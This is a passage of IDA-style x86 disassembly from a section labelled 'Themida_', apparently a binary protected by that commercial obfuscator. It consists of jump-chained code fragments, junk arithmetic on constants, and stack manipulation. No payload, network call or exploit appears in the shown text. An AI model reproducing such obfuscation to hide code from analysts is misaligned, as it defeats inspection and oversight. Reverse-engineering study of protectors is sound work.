		jmp	loc_56A9C5
; ---------------------------------------------------------------------------


loc_56F353:				; CODE XREF: sub_55EDA7+110j
		pop	esp
		push	esi
		mov	esi, esp
		jmp	loc_56E4AB
; ---------------------------------------------------------------------------


loc_56F35C:				; CODE XREF: sub_55EDA7+9EEAj
		mov	ebx, esp
		push	esi
		mov	esi, 19483EE7h
		shr	esi, 8
		not	esi
		push	ebp
		mov	ebp, 75567CB9h
		inc	ebp
		xor	ebp, 5C4571F5h
		add	ebp, 37796204h
		and	ebp, 766F66D4h
		jmp	loc_55EA90
; ---------------------------------------------------------------------------


loc_56F387:				; CODE XREF: sub_55EDA7+8BC0j
		mov	word ptr [esp-28h+arg_24], ax
		jmp	loc_56765B
; ---------------------------------------------------------------------------


loc_56F390:				; CODE XREF: sub_55EDA7+87E3j
		push	edi
		jmp	loc_56EE24
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F4D5


loc_56F396:				; CODE XREF: sub_56F4D5+7E2j
		push	cx
		mov	cl, 2Dh
		sub	al, cl
		pop	cx
		jmp	loc_5681EA
; END OF FUNCTION CHUNK	FOR sub_56F4D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56F3A3:				; CODE XREF: sub_55EDA7+9345j
		mov	ebp, 47EE3E14h
		and	ebp, 54A05221h
		shl	ebp, 8
		jmp	loc_57030A
; ---------------------------------------------------------------------------


loc_56F3B6:				; CODE XREF: sub_55EDA7+6B2Aj
		add	ebx, 4
		add	ebx, 4
		jmp	loc_56D324
; ---------------------------------------------------------------------------


loc_56F3C4:				; CODE XREF: sub_55EDA7+D48Aj
		sub	[esp+arg_0], 7C540A44h
		jmp	loc_56C737
; ---------------------------------------------------------------------------


loc_56F3D1:				; CODE XREF: sub_55EDA7+196Dj
		sub	ebp, 4
		xchg	ebp, [esp-28h+arg_24]
		jmp	loc_55F277
; ---------------------------------------------------------------------------


loc_56F3DF:				; CODE XREF: sub_55EDA7+A305j
		sub	edx, edi
		sub	edx, 636C4388h
		jmp	loc_56D1E6
; ---------------------------------------------------------------------------


loc_56F3EC:				; CODE XREF: sub_55EDA7+747j
		mov	[esp-14h+arg_10], ebp
		push	esp
		pop	ebp
		sub	esp, 4
		mov	[esp-10h+arg_C], edi
		mov	edi, 4
		sub	ebp, 77374191h
		add	ebp, edi
		jmp	loc_56DD45
; ---------------------------------------------------------------------------


loc_56F409:				; CODE XREF: sub_55EDA7+540j
		add	edx, 8C9C859Ch
		xor	ecx, edx
		mov	edx, [esp-18h+arg_14]
		add	esp, 4
		push	6B5Dh
		mov	[esp-18h+arg_14], ecx
		jmp	loc_566452
; ---------------------------------------------------------------------------


loc_56F424:				; CODE XREF: sub_55EDA7+4810j
		mov	ebp, 517F6B85h
		and	ebp, 4B8B252Bh
		add	ebp, 76126CE4h
		jmp	loc_560C91
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F953


loc_56F43A:				; CODE XREF: sub_56F953+16j
		add	eax, 4
		add	eax, 2
		xchg	eax, [esp+0Ch+var_C]
		pop	esp
		push	ecx
		jmp	loc_568E62
; END OF FUNCTION CHUNK	FOR sub_56F953
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56F44E:				; CODE XREF: sub_55EDA7+89FCj
		inc	ebp
		dec	ebp
		push	ecx
		mov	ecx, 7628049Eh
		and	ebp, ecx
		push	[esp+40h+var_42+2]
		pop	ecx
		add	esp, 4
		push	ebx
		mov	ebx, 114170EDh
		shr	ebx, 5
		jmp	loc_56D7D4
; ---------------------------------------------------------------------------


loc_56F46D:				; CODE XREF: sub_55EDA7+BABEj
		pop	esp
		mov	[esp+20h+var_22+2], edx
		sub	esp, 4
		jmp	loc_567567
; ---------------------------------------------------------------------------


loc_56F479:				; CODE XREF: sub_55EDA7+F59Bj
		add	al, 5Eh
		pop	ecx
		mov	ch, al
		pop	eax
		xor	ch, 0D9h
		and	ch, 1Fh
		sub	ch, 6Ah
		jmp	loc_566A2D
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FC78


loc_56F48D:				; CODE XREF: sub_56FC78+14j
		add	ebp, 6D11EF37h
		jmp	loc_570B42
; END OF FUNCTION CHUNK	FOR sub_56FC78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56F498:				; CODE XREF: sub_55EDA7+5979j
		mov	ecx, 17E35E84h
		jmp	loc_56C643
; ---------------------------------------------------------------------------


loc_56F4A2:				; CODE XREF: sub_55EDA7+D30j
		push	cx
		dec	byte ptr [esp-0Ch+arg_8]
		pop	cx
		jmp	loc_56A749
; ---------------------------------------------------------------------------


loc_56F4AE:				; CODE XREF: sub_55EDA7+11ABDj
		add	esp, 4
		push	esi
		push	edi
		mov	edi, 15C21A81h
		jmp	loc_55FB1D
; ---------------------------------------------------------------------------


loc_56F4C0:				; CODE XREF: sub_55EDA7+FE98j
		neg	ch
		shr	ch, 8
		push	eax
		jmp	loc_56790B
; ---------------------------------------------------------------------------


loc_56F4CB:				; CODE XREF: sub_55EDA7+13952j
		sub	dh, 0DBh
		not	dh
		jmp	loc_571AF4
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56F4D5	proc near		; CODE XREF: sub_55EDA7+100Cj

; FUNCTION CHUNK AT 0056F396 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056FCAE SIZE 0000000E BYTES

		push	ebx
		mov	bh, 0A1h
		jmp	loc_56FCAE
sub_56F4D5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_56F4DD	proc near		; CODE XREF: sub_55EDA7+B19Bj

; FUNCTION CHUNK AT 00572472 SIZE 00000008 BYTES

		push	ebx
		mov	ebx, 5A416D98h
		or	ecx, ebx
		pop	ebx
		add	ecx, 0A4B68663h
		jmp	loc_572472
sub_56F4DD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E96C


loc_56F4F1:				; CODE XREF: sub_56E96C+2Cj
		sub	ebx, 0D703FAB8h
		or	eax, ebx
		pop	ebx
		inc	eax
		shl	eax, 5
		add	eax, 81100264h
		sub	esp, 4
		mov	[esp+0Ch+var_C], esi
		push	410Dh
		mov	[esp+10h+var_10], eax
		add	[esp+10h+var_10], 27E35B0Ah
		pop	esi
		sub	esi, 27E35B0Ah
		mov	ebp, esi
		jmp	loc_5663BB
; END OF FUNCTION CHUNK	FOR sub_56E96C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56F529:				; CODE XREF: sub_55EDA7+19DFj
		xchg	eax, [esp-28h+arg_24]
		pop	esp
		jmp	loc_560DA4
; ---------------------------------------------------------------------------


loc_56F532:				; CODE XREF: sub_55EDA7+5D4Aj
		sub	ecx, 52961F68h
		sub	ecx, edx
		push	edx
		jmp	loc_56ECAC
; ---------------------------------------------------------------------------


loc_56F540:				; CODE XREF: sub_55EDA7+11F4Dj
		push	7334h
		mov	[esp+6+var_8+2], esp
		add	[esp+6+var_8+2], 4
		jmp	loc_56E8D2
; ---------------------------------------------------------------------------


loc_56F551:				; CODE XREF: sub_55EDA7+92CFj
		xor	edx, esi
		jmp	loc_56250A
; ---------------------------------------------------------------------------


loc_56F558:				; CODE XREF: sub_55EDA7+11C54j
		xor	[esp-30h+arg_30], ecx
		jmp	loc_560749
; ---------------------------------------------------------------------------


loc_56F561:				; CODE XREF: sub_55EDA7+1C46j
		push	37BE56D4h
		pop	ebp
		add	esi, ebp
		pop	ebp
		jmp	loc_55E897
; ---------------------------------------------------------------------------


loc_56F56F:				; CODE XREF: sub_55EDA7+5C0Cj
		mov	ecx, 0
		jmp	loc_569B59
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56F579	proc near		; CODE XREF: sub_55EDA7+2D03j
		push	ebx
		sub	esp, 4
		jmp	loc_564414
sub_56F579	endp


; =============== S U B	R O U T	I N E =======================================



sub_56F585	proc near		; DATA XREF: Themida_:0055E084o
		push	small word ptr [edx]
		jmp	loc_55E1FB
sub_56F585	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56F58D:				; CODE XREF: sub_55EDA7+55C5j
		xchg	edi, [esp-24h+arg_20]
		mov	esp, [esp-24h+arg_20]


loc_56F593:				; CODE XREF: sub_55EDA7+1006Aj
		push	4869h
		mov	[esp-20h+arg_1C], ebx
		push	[esp-20h+arg_1C]
		push	[esp-1Ch+arg_18]
		jmp	loc_57182F
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_56F5A6:				; CODE XREF: Themida_:00571399j
		add	esi, 4
		jmp	loc_564DB1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56F5B1:				; CODE XREF: sub_55EDA7+11FB5j
		pop	esi
		pop	[esp-1Ch+arg_18]
		mov	esp, [esp-20h+arg_1C]
		mov	[esp-20h+arg_1C], ebx
		jmp	loc_571854
; ---------------------------------------------------------------------------


loc_56F5C0:				; CODE XREF: sub_55EDA7+868Fj
		pop	edx
		mov	esi, eax
		pop	eax
		inc	esi
		sub	esi, 67EF36D6h
		push	edi
		jmp	loc_56B1E9
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5713BB


loc_56F5D1:				; CODE XREF: sub_5713BB+1j
		mov	ebx, 25E63798h
		inc	ebx
		add	ebx, 4F11A9ECh
		sub	ecx, ebx
		pop	ebx
		push	ecx
		pop	eax
		pop	ecx
		jmp	loc_56A45B
; END OF FUNCTION CHUNK	FOR sub_5713BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56F5E8:				; CODE XREF: sub_55EDA7+11739j
		sub	esi, 41281071h
		sub	esi, 9B392704h
		sub	ebx, esi
		pop	esi
		sub	ebx, 4B5E7FAAh
		add	ebx, edi
		add	ebx, 4B5E7FAAh
		push	edx
		mov	edx, 53967B4Fh
		sub	edx, 194544E9h
		push	eax
		push	526E71D2h
		jmp	loc_5601AB
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56F61C	proc near		; CODE XREF: sub_55EDA7+10B1j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005722DC SIZE 00000014 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		mov	ebp, 76CC06D5h
		add	eax, ebp
		pop	ebp
		xor	esi, eax
		pop	eax
		jmp	loc_5722DC
sub_56F61C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_56F632	proc near		; CODE XREF: sub_55EDA7+2104j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0055E935 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056BFAC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056DE9B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056E9EF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00571B5B SIZE 0000000C BYTES

		push	ebx
		mov	ebx, 6F36056Eh
		add	edi, ebx
		jmp	loc_55E935
sub_56F632	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D8B3


loc_56F63F:				; CODE XREF: sub_56D8B3+54D6j
		add	eax, 4
		add	eax, 4
		jmp	loc_56E44C
; END OF FUNCTION CHUNK	FOR sub_56D8B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56F64C:				; CODE XREF: sub_55EDA7+13744j
		mov	ecx, 4FA62B10h
		sub	ecx, 32A5E0AEh
		sub	ebp, 59DE5275h
		add	ebp, ecx
		jmp	loc_572BCB
; ---------------------------------------------------------------------------


loc_56F664:				; CODE XREF: sub_55EDA7+F750j
		sub	eax, 50EF4187h
		add	eax, edx
		add	eax, 50EF4187h
		pop	edx
		add	eax, 4
		xchg	eax, [esp+2+var_4+2]
		pop	esp
		push	dword ptr [esp+0]
		pop	edi
		push	0E13h
		mov	[esp+2+var_4+2], esi
		mov	esi, esp
		push	edx
		push	esi
		mov	esi, 5FD97161h
		mov	edx, 5FD97165h
		xor	edx, esi
		pop	esi
		jmp	loc_56DE78
; ---------------------------------------------------------------------------


loc_56F69C:				; CODE XREF: sub_55EDA7+C488j
		pop	esi
		xor	eax, 1DCB70EAh
		jmp	loc_56B35E
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55E312


loc_56F6A7:				; CODE XREF: sub_55E312+1Bj
		add	ecx, edx
		mov	edx, [esp+4+var_4]
		jmp	loc_56DA9B
; END OF FUNCTION CHUNK	FOR sub_55E312

; =============== S U B	R O U T	I N E =======================================



sub_56F6B1	proc near		; CODE XREF: sub_56EF21+4j

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		push	esp
		pop	ebx
		push	ebp
		mov	ebp, 49072067h
		dec	ebp
		and	ebp, 5E8D24D9h
		dec	ebp
		jmp	loc_567C13
sub_56F6B1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56F6CC:				; CODE XREF: sub_55EDA7+33C7j
		sub	ebx, eax
		jmp	loc_55FFC9
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	2C8Eh
		jmp	loc_568F4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56F6E1:				; CODE XREF: sub_55EDA7+3DFEj
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56F6E6:				; CODE XREF: sub_55EDA7+50BCj
		add	ebp, 4
		xchg	ebp, [esp+2Ah+var_2A]
		pop	esp
		jmp	loc_55ECE5
; ---------------------------------------------------------------------------


loc_56F6F2:				; CODE XREF: sub_55EDA7+11211j
		add	ebx, 4
		xchg	ebx, [esp+26h+var_26]
		pop	esp
		pop	[esp+22h+var_22]
		jmp	loc_571547
; ---------------------------------------------------------------------------


loc_56F701:				; CODE XREF: sub_55EDA7+927Dj
		sub	esi, 367FFFFCh
		jmp	loc_563D95
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_56F70C:				; CODE XREF: Themida_:0056DF02j
		push	edx
		mov	edx, esp
		jmp	loc_572774
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56F714:				; CODE XREF: sub_55EDA7+1A3Aj
		mov	eax, 61F95F8Eh
		and	ecx, eax
		pop	eax
		not	ecx
		inc	ecx
		xor	ecx, 0FFCFEEFEh
		mov	ebx, ecx
		jmp	loc_55E4A9
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56F72C	proc near		; DATA XREF: Themida_:0055E03Co

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	dword ptr [esp+0]
		pop	eax
		sub	esp, 4
		mov	[esp+4+var_4], ebp
		push	1074h
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		jmp	loc_5699D6
sub_56F72C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56F753:				; CODE XREF: sub_55EDA7+B31Fj
		sub	ebx, 76915C76h
		mov	ecx, [esp+38h+var_3A+2]
		add	esp, 4
		jmp	loc_56B76C
; ---------------------------------------------------------------------------


loc_56F767:				; CODE XREF: sub_55EDA7+5BE6j
		shr	eax, 18h
		jmp	loc_5706EB
; ---------------------------------------------------------------------------


loc_56F76F:				; CODE XREF: sub_55EDA7+98ABj
		push	4C98h
		mov	[esp-20h+arg_1C], esi
		jmp	loc_567BDF
; ---------------------------------------------------------------------------


loc_56F77C:				; CODE XREF: sub_55EDA7+9ACFj
		push	71Fh
		mov	[esp+34h+var_36+2], edi
		push	eax
		push	3D16h
		mov	[esp+3Ch+var_3E+2], edx
		push	ebp
		mov	ebp, 7D132FE8h
		push	ecx
		jmp	loc_56CEC2
; ---------------------------------------------------------------------------


loc_56F799:				; CODE XREF: sub_55EDA7+1246j
		sub	eax, edi
		sub	esp, 4
		mov	[esp-14h+arg_10], ecx
		mov	ecx, 51E4508Fh
		jmp	loc_567D9B
; ---------------------------------------------------------------------------


loc_56F7AE:				; CODE XREF: sub_55EDA7+7C3Ej
		mov	ebx, 1Ch
		add	ebx, edi
		push	dword ptr [ebx]
		jmp	loc_562A7D
; ---------------------------------------------------------------------------


loc_56F7BC:				; CODE XREF: sub_55EDA7+8D2Aj
		mov	esi, 0FE005001h
		jmp	loc_560F19
; ---------------------------------------------------------------------------


loc_56F7C6:				; CODE XREF: sub_55EDA7+12EFj
		pop	edx
		push	edi
		mov	edi, 0FFFFFFFFh
		sub	edx, 4F4D2657h
		sub	edx, edi
		add	edx, 4F4D2657h
		pop	edi
		shl	edx, 6
		shl	edx, 5
		dec	edx
		not	edx
		push	6553h
		mov	[esp-18h+arg_14], eax
		sub	esp, 4
		mov	[esp-14h+arg_10], edi
		push	6EFD27CCh
		jmp	loc_560101
; ---------------------------------------------------------------------------


loc_56F7FD:				; CODE XREF: sub_55EDA7+2305j
		xchg	bh, dl
		not	bh
		xor	dl, bh
		xor	bh, dl
		xor	dl, bh
		not	dl
		push	0
		sub	byte ptr [esp-18h+arg_14], dl
		mov	dl, byte ptr [esp-18h+arg_14]
		add	esp, 4
		push	ebx
		mov	bh, 2Dh
		push	ax
		push	ebx
		push	eax
		mov	ah, 53h
		mov	bl, 3Ch
		jmp	loc_55F67A
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_56F827:				; CODE XREF: Themida_:0056E302j
		push	ecx
		mov	ecx, 1C506F61h
		sub	ecx, 0E89C315Eh
		or	ebx, ecx
		jmp	loc_565876
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56F83A:				; CODE XREF: sub_55EDA7+ADDj
		push	ecx
		mov	cl, bh
		jmp	loc_5696F3
; ---------------------------------------------------------------------------


loc_56F842:				; CODE XREF: sub_55EDA7+3A6Cj
		xor	ebp, ebx
		pop	ebx
		and	edi, ebp
		jmp	loc_572596
; ---------------------------------------------------------------------------


loc_56F84C:				; CODE XREF: sub_55EDA7+5BA6j
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56F851:				; CODE XREF: sub_55EDA7+101EBj
		add	ebx, 16684227h
		add	ebx, esi
		sub	ebx, 16684227h
		mov	esi, [esp+10h+var_12+2]
		add	esp, 4
		add	eax, 4084028Ah
		jmp	loc_5701C0
; ---------------------------------------------------------------------------


loc_56F872:				; CODE XREF: sub_55EDA7+8776j
		push	5DBAh
		jmp	loc_56A787
; ---------------------------------------------------------------------------


loc_56F87C:				; CODE XREF: sub_55EDA7+B59Ej
		push	edi
		push	2C9064A1h
		pop	edi
		push	edi
		xor	[esp+6+var_8+2], edx
		jmp	loc_56D80D
; ---------------------------------------------------------------------------


loc_56F88C:				; CODE XREF: sub_55EDA7+6D53j
		mov	ebx, 33264ED3h
		neg	ebx
		shl	ebx, 5
		jmp	loc_56B7D0
; ---------------------------------------------------------------------------


loc_56F89B:				; CODE XREF: sub_55EDA7+821Cj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+10h+var_12+2]
		pop	esp
		push	edi
		mov	edi, 2
		sub	ebx, edi
		pop	edi
		xor	ebx, [esp+0Ch+var_E+2]
		jmp	loc_566DC5
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56EA48


loc_56F8BC:				; CODE XREF: sub_56EA48+3028j
		shl	ecx, 8
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		xchg	edx, [esp+4+var_4]
		not	edx
		jmp	loc_560676
; END OF FUNCTION CHUNK	FOR sub_56EA48
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56F8D2:				; CODE XREF: sub_55EDA7+921Cj
		push	esi
		mov	esi, 67222309h
		or	esi, 16E96FB5h
		add	esi, 1BCA1C5Eh
		jmp	loc_56E7D6
; ---------------------------------------------------------------------------


loc_56F8E9:				; CODE XREF: sub_55EDA7+AF4Cj
		add	esi, 0DBBC1204h
		push	esi
		push	3371h
		mov	[esp-14h+arg_10], ebp
		mov	ebp, 4DF11780h
		jmp	loc_56AD06
; ---------------------------------------------------------------------------


loc_56F902:				; CODE XREF: sub_55EDA7+65Cj
		push	dword ptr [esp+0]
		pop	edx
		jmp	sub_5718DF
; ---------------------------------------------------------------------------


loc_56F90B:				; CODE XREF: sub_55EDA7+7A40j
		mov	[esp+26h+var_26], edi
		dec	[esp+26h+var_26]
		not	[esp+26h+var_26]
		jmp	loc_5647A0
; ---------------------------------------------------------------------------


loc_56F919:				; CODE XREF: sub_55EDA7+A4E6j
		mov	ecx, [esp+32h+var_32]
		add	esp, 4
		or	ecx, 68637CE3h
		add	ecx, 8398810Dh
		mov	esi, ecx
		mov	ecx, [esp+2Eh+var_2E]
		add	esp, 4
		jmp	loc_56FDD1
; ---------------------------------------------------------------------------


loc_56F93B:				; CODE XREF: sub_55EDA7+257Cj
		sub	ebx, 0FFFFFFFFh
		add	ebx, 0D89DBEAh
		add	ecx, ebx
		pop	ebx
		push	esi
		mov	esi, 66EB23E1h
		inc	esi
		jmp	loc_55F117
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56F953	proc near		; CODE XREF: sub_55EDA7+9244j

var_C		= dword	ptr -0Ch
var_8		= word ptr -8

; FUNCTION CHUNK AT 0056F43A SIZE 00000014 BYTES

		push	bx
		push	eax
		push	edx
		mov	dl, 83h
		mov	ah, dl
		pop	edx
		push	bx
		mov	bl, 25h
		sub	ah, bl
		mov	bx, [esp+8+var_8]
		push	eax
		mov	eax, esp
		jmp	loc_56F43A
sub_56F953	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56F96E:				; CODE XREF: sub_55EDA7+2F70j
		pop	esp
		mov	[esp+10h+var_12+2], edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp+0Ch+var_E+2]
		jmp	loc_566894
; ---------------------------------------------------------------------------


loc_56F982:				; CODE XREF: sub_55EDA7+733Dj
		add	ecx, edi
		pop	edi
		add	ecx, eax
		sub	ecx, 13504588h
		pop	eax
		push	ecx
		push	[esp-1Ch+arg_1C]
		mov	ecx, [esp-18h+arg_14]
		add	esp, 4
		pop	[esp-1Ch+arg_18]
		mov	esp, [esp-20h+arg_1C]
		push	766h
		mov	[esp-1Ch+arg_18], ecx
		push	0
		pop	ecx
		add	ecx, 624A65B1h
		add	ecx, 1E025C8h
		add	ecx, edx
		sub	ecx, 1E025C8h
		jmp	sub_56C101
; ---------------------------------------------------------------------------


loc_56F9C6:				; CODE XREF: sub_55EDA7+ED0Ej
		sub	ebp, 34C01F01h
		add	ebp, esi
		add	ebp, 34C01F01h
		jmp	loc_5696D2
; ---------------------------------------------------------------------------


loc_56F9D9:				; CODE XREF: sub_55EDA7+28E9j
		mov	[esp+30h+var_32+2], eax
		jmp	loc_56DD73
; ---------------------------------------------------------------------------


loc_56F9E1:				; CODE XREF: sub_55EDA7+EC23j
		or	ebx, 563A5413h
		shr	ebx, 8
		xor	ebx, 2DFC893Ah
		add	ebx, 1
		push	3269h
		mov	[esp+14h+var_16+2], esi
		push	2B3529h
		mov	esi, [esp+18h+var_1A+2]
		add	esp, 4
		jmp	loc_55FC46
; ---------------------------------------------------------------------------


loc_56FA11:				; CODE XREF: sub_55EDA7+36DAj
		mov	ebp, 7D6B2B1Eh
		not	ebp
		sub	ebp, 8294D4DFh
		mov	edi, ebp
		jmp	loc_56E890
; ---------------------------------------------------------------------------


loc_56FA25:				; CODE XREF: sub_55EDA7+1186Dj
		xchg	esi, ecx
		push	eax
		push	21136F54h
		pop	eax
		jmp	loc_569550
; ---------------------------------------------------------------------------


loc_56FA33:				; CODE XREF: sub_55EDA7+12686j
		pop	ebp
		mov	edi, [esp-18h+arg_14]
		add	esp, 4
		push	ecx
		mov	ecx, 35986FC6h
		add	ebx, ecx
		mov	ecx, [esp-18h+arg_14]
		push	edi
		mov	edi, esp
		jmp	loc_56090B
; ---------------------------------------------------------------------------


loc_56FA50:				; CODE XREF: sub_55EDA7-4Aj
		push	[esp+arg_0]
		pop	edi
		pop	dword ptr [esp+0]
		jmp	loc_564114
; ---------------------------------------------------------------------------


loc_56FA5D:				; CODE XREF: sub_55EDA7+9C2Dj
		pop	esi
		push	ebp
		pop	edi
		mov	ebp, [esp-1Ch+arg_18]
		add	esp, 4
		and	ecx, edi
		mov	edi, [esp-20h+arg_1C]
		add	esp, 4
		shr	ecx, 0Ah
		push	3CF7h
		mov	[esp-20h+arg_1C], ebx
		sub	esp, 4
		jmp	loc_569868
; ---------------------------------------------------------------------------


loc_56FA87:				; CODE XREF: sub_55EDA7+490Cj
		push	35F4h
		mov	[esp+0], esi
		mov	esi, 7DC445AAh
		not	esi
		and	esi, 5FCC699Bh
		jmp	loc_56DB1E
; ---------------------------------------------------------------------------


loc_56FAA1:				; CODE XREF: sub_55EDA7+5052j
		push	65A5h
		mov	[esp+0Eh+var_E], ebp
		mov	ebp, esp
		jmp	loc_5638FA
; ---------------------------------------------------------------------------


loc_56FAB0:				; CODE XREF: sub_55EDA7+10E76j
		push	3AD9h
		mov	[esp+12h+var_12], ebp
		jmp	loc_566BA0
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56FABD	proc near		; CODE XREF: sub_55EDA7-82Aj

; FUNCTION CHUNK AT 0056D4F3 SIZE 00000008 BYTES

		push	ebx
		mov	ebx, 350E2EF2h
		push	ebp
		mov	ebp, 55E67A2Bh
		jmp	loc_56D4F3
sub_56FABD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56FACE:				; CODE XREF: sub_55EDA7+13822j
		add	eax, 74575D53h
		jmp	loc_561EAE
; ---------------------------------------------------------------------------


loc_56FAD8:				; CODE XREF: sub_55EDA7+7C8j
		pop	esp
		jmp	loc_5601C7
; ---------------------------------------------------------------------------


loc_56FADE:				; CODE XREF: sub_55EDA7+1279Bj
		add	edi, 6C191FEAh
		add	edi, 7CF19BA1h
		push	ebp
		jmp	loc_564AB3
; ---------------------------------------------------------------------------


loc_56FAF0:				; CODE XREF: sub_55EDA7+9B1Aj
		and	edi, 1F8F7903h
		inc	edi
		sub	esp, 4
		mov	[esp-18h+arg_14], eax
		mov	eax, 0E0F0B700h
		add	edi, eax
		pop	eax
		add	ebx, edi
		jmp	loc_56FB5B
; ---------------------------------------------------------------------------


loc_56FB0F:				; CODE XREF: sub_55EDA7+D439j
		mov	[esp+38h+var_3A+2], ecx
		mov	ecx, 9B1EFAh
		mov	esi, ecx
		pop	ecx
		sub	esp, 4
		jmp	loc_572D37
; ---------------------------------------------------------------------------


loc_56FB22:				; CODE XREF: sub_55EDA7+90DAj
		push	[esp-0Ah+arg_4+2]
		pop	ecx
		sub	esp, 4
		mov	[esp-6+arg_0+2], eax
		push	esp
		pop	eax
		add	eax, 4
		push	edx
		mov	edx, 4
		sub	eax, 13001D4Eh
		add	eax, edx
		add	eax, 13001D4Eh
		pop	edx
		jmp	loc_5618EB
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		jmp	loc_572ABD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56FB54:				; CODE XREF: sub_55EDA7+CE94j
		pop	eax
		push	edx
		jmp	loc_5646BB
; ---------------------------------------------------------------------------


loc_56FB5B:				; CODE XREF: sub_55EDA7+10D63j
		pop	edi
		add	ebx, 4
		jmp	loc_565122
; ---------------------------------------------------------------------------


loc_56FB64:				; CODE XREF: sub_55EDA7+5F6Aj
		or	eax, edx
		jmp	loc_5655AB
; ---------------------------------------------------------------------------


loc_56FB6B:				; CODE XREF: sub_55EDA7+A20Cj
		sub	esi, 7626121Bh
		sub	edx, esi
		pop	esi
		jmp	loc_570DB0
; ---------------------------------------------------------------------------


loc_56FB79:				; CODE XREF: sub_55EDA7+E846j
		mov	ebx, [esp+2Ah+var_2A]
		push	4F01h
		mov	[esp+2Eh+var_2E], edi
		jmp	loc_567C8D
; ---------------------------------------------------------------------------


loc_56FB89:				; CODE XREF: sub_55EDA7+4C1Dj
		add	esi, 4
		jmp	loc_564A05
; ---------------------------------------------------------------------------


loc_56FB94:				; CODE XREF: sub_55EDA7+A355j
		push	edi
		push	17436604h
		mov	edi, [esp+14h+var_16+2]
		add	esp, 4
		shl	edi, 6
		add	edi, 2F267F04h
		mov	ebx, edi
		jmp	loc_5650BB
; ---------------------------------------------------------------------------


loc_56FBB0:				; CODE XREF: sub_55EDA7+1B5Fj
		mov	ebx, 0A96BEE60h
		xor	ecx, ebx
		mov	ebx, [esp-0Ah+arg_4+2]
		add	esp, 4
		add	ebx, ecx
		mov	ecx, [esp-0Eh+arg_8+2]
		add	esp, 4
		add	ebx, 2
